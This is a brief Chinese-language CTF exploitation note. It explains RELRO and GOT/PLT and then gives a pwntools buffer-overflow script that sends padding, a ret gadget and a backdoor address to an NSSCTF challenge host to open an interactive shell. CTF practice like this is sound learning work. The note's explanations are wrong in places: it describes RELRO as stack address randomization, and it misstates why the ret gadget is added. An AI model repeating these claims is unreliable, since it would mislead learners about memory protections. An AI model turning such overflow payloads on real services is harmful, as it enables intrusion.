开启栈地址随机化
RELRO(ReLocation Read-Only):
分为两种情况,第一种情况是Partial RELRO,这种情况是部分开启堆栈地址随机化,got表可写,第二种,Full RELRO是全部开启,got表不可写,Got表是全局偏移表,里面包含的是外部定义的符号相应的条目的数据段中,PLT表,是过程链接表/内部函数表,linux延迟绑定,但是最后还是要连接到Got,PLT表只是为一个过渡的作用。
from pwn import *
i = remote("node5.anna.nssctf.cn",28141)
pwnfile= './00'
elf = ELF(pwnfile)
add = elf.sym["backdoor"]
ret = 0x40101a
payload = b'a'*(0x100+8)+p64(ret)+p64(add)
i.sendline(payload)
i.interactive()
payload = b'a'*(0x100+8)+p64(ret)+p64(add)
payload为什么要加ret的地址?
返回主函数在调用backdoor的地址